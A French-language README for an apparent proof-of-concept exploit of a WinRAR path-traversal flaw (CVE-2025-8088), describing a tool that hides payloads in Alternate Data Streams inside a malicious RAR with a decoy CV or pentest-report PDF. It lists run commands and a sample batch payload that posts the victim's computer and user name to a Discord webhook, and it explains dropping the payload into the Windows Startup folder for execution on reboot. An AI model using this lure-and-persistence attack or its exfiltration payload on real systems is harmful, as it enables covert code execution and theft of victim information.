CVE-2025-8088 Exploit WinRAR 🔓

Un exploit proof-of-concept pour la vulnérabilité WinRAR (CVE-2025-8088) affectant les versions 7.12 et inférieures. Cet outil crée une archive RAR malveillante qui intègre des payloads dans des Alternate Data Streams (ADS) avec un path traversal, pouvant mener à une exécution de code arbitraire.

• Le problème avec beaucoup d'autres est qu'ils n'intègrent pas plusieurs flux ADS, nécessitant soit de la chance pour avoir le bon path traversal, soit de connaître le nom d'utilisateur/répertoire d'extraction exact.

🚀 Comment ça marche

1. Crée un document leurre 📄 - Génère un PDF d'apparence professionnelle (CV ou rapport de pentest)
2. Intègre plusieurs flux ADS 🔄 - Attache des flux de payload avec différentes profondeurs de path traversal
3. Manipule les en-têtes RAR ⚙️ - Modifie la structure de l'archive pour exploiter la vulnérabilité de path traversal
4. Dépose le payload dans le dossier Démarrage 📂 - Tente d'écrire le payload dans le dossier de démarrage Windows lors de l'extraction

🛠️ Utilisation

# Clone the repository
git clone https://github.com/techcorp/CVE-2025-8088-Exploit.git
cd best-CVE-2025-8088

# Install dependencies
pip install reportlab

# Run the exploit
python CVE-2025-8088.py

✏️ Personnalisation du payload

Modifiez le payload pour appeler un webhook Discord :

# Replace the PAYLOAD variable in the script:
PAYLOAD = """@echo off
curl -H "Content-Type: application/json" -X POST -d "{\"content\": \"Extracted on %COMPUTERNAME% by %USERNAME%\"}" YOUR_DISCORD_WEBHOOK_URL
pause
"""

Remplacez YOUR_DISCORD_WEBHOOK_URL par l'URL réelle de votre webhook.

🔄 Flux d'exécution

1. La victime extrait le RAR avec WinRAR vulnérable (≤7.12)
2. Le payload est écrit dans le dossier de démarrage :
   root@kitploit:~

   AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
   

3. Au prochain redémarrage ➡️ le payload s'exécute automatiquement

📋 Prérequis

• Système d'exploitation Windows 🪟
• Python 3.x 🐍
• WinRAR installé
• Bibliothèque ReportLab (pip install reportlab)